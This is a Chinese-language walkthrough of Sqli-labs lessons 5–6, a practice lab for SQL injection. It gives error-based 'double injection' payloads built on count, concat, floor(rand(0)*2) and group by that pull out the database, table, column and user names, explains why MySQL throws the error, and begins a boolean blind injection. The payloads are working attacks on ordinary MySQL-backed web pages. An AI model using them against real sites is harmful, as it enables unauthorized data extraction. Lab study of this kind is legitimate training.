Sqli-labs Less 5~6


解法一:

此时还是提醒我们提交一个带数值参数的id

我们再次提交?id=1’

此时报错界面与Less1一样,所以我们直接提交?id=1’%23
然后查询是否有注入点,此时发现存在注入点,然后查询表的字段数,会发现是三个字段;然后当我们要获取字段时
提交%20union%20select%201,2,3时会发现页面

此时的界面处于两种状态,除了You are in就是空界面

根据提示我们知道这个注入属于双注入,所以先前查看当前字段的语句无法使用
此时我们套用双注入的公式(后面会解释此公式的意思和双注入原理)
1:
使用此公式查询数据库名称:

1
?id=1' union select 1, count(*), concat((select database()), '---', floor(rand(0)*2)) as a from information_schema.tables group by a --+


security—1 此时的1为报错内容,所以本数据库的名称为security
2:
查完数据库名称我们就可以根据此数据库名称来查询数据表名称

1
?id=1' union select 1, count(*), concat((select group_concat(table_name) from information_schema.tables where table_schema='security'), '---', floor(rand(0)*2)) as a from information_schema.tables group by a --+


3:
由数据表名称可以查询该表中的字段名

1
2
?id=1' union select 1, count(*), concat((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'), '---', floor(rand(0)*2)) as a from information_schema.tables group by a --+


4:
接下来查看字段名下的字段值

1
?id=1' union select 1, count(*), concat((select username from users limit 0,1), '---', floor(rand(0)*2)) as a from information_schema.tables group by a --+


此时我们将上面用到的代码与前面的做一个对比
?id=1’ union select 1, count(*), concat((select database()), ‘—‘, floor(rand(0)2)) as a from information_schema.tables group by a –+
?id=-1’ union select1,database(),3–+
会发现多出了count(
), concat((select database()), ‘—‘, floor(rand(0)*2)) as a from information_schema.tables group by a
且多出了一个select 这个便是所谓的双注入:在select语句中再次插入另外一个select,此时会先对里面的select语句
进行执行然后传递给前面的函数,由内到外执行
此时我们需要理解多出来的几个函数:
count():计算行的数目
concat():连接字符串或则拼接查询结果
floor():取整
rand():产生0-1随机数
而group by语句则是对查询结果进行分组
先看rand()函数的作用:产生一个0-1的随机数

1
select rand();


此时加上floor()函数:

1
select floor(rand(0)*2);


此时再加上concat()函数:此时两条语句就被连接起来了,这个就是concat()的作用

1
select concat((select database()),floor(rand(0)*2));


此时看看group by的作用:此时group by的作用就是将select database()和floor(rand(0))的结果输入到a中;然后a对其进行分组;分成root@localhost0和root@localhost1两组

1
select concat((select database()),floor(rand(0)*2))as a from information_schema.table group by a;


最后在语句中加入count():此时便可以知道count()是用来计算行的数目
1
select count(*);concat((select user()),floor(rand(0)*2))as a from information_schema.table groub by a;


此时我们解析一下为何会报错:
我们需要记住rand(0)会返回一个固定的序列:011011
下面描述一下查询和插入的过程:
在插入和查询之前mysql都会建立一个虚拟表

第一次查询:在虚拟表中查询有没有key为0的字段,此时发现没有,便要进行插入;
第一此插入:在每次插入前都会调用一次floor()函数,此时的数值已经由0变成了1,所以插入的值为1而不是0;

第二次查询:此时再次查询时会调用floor()函数,查看虚拟表里面有没有key为1的字段;
第二次插入:因为已经存在key为1的字段,所以此次的插入会将count的值进行叠加;

第三次查询:查询虚拟表中有没有key为0的字段,此时发现没有,便进行插入;
第三次插入:插入前调用floor()函数,此时的数值又从0变为1;而因为count已经存在了两个,所以这是第三次,此时便会进行报错
这里有一个重点:当查询和插入时都会重新调用一次floor()函数
综上:当你的行为3以上的时候,mysql便会进行报错;简单的来说当你的floor()函数cuont()函数和group by语句一起结合时遇到一个至少3行以上的表时便会进行主键报错,而你把你想要的信息构造在主键里面,mysql便会通过报错将你的信息显示到页面上
双注入公式:
1
select count(*),concat((payload), floor(rand(0)*2)) as a from information_schema.tables group by a;

解法二:(布尔盲注)
此时我们会发现当我们的sql语句正确时我们的页面会返回You are in………..

当我们的sql语句错误的时候我们会收到一个空页面

所以基于这个我们便可以采用布尔盲注(说白一点就是一个一个的去试,直到试出正确的,那么页面就会返回You are in……….. 那么我们就可以试出数据库名数据表名数据表的字段名)
length():返回字符串的长度
?id=1’%20and%20length(database())=x%23
x为数据库名称的长度

此时返回空页面,所以说明数据库长度不为1;
当我们试到8时会发现页面有返回,所以此时数据库的长度为8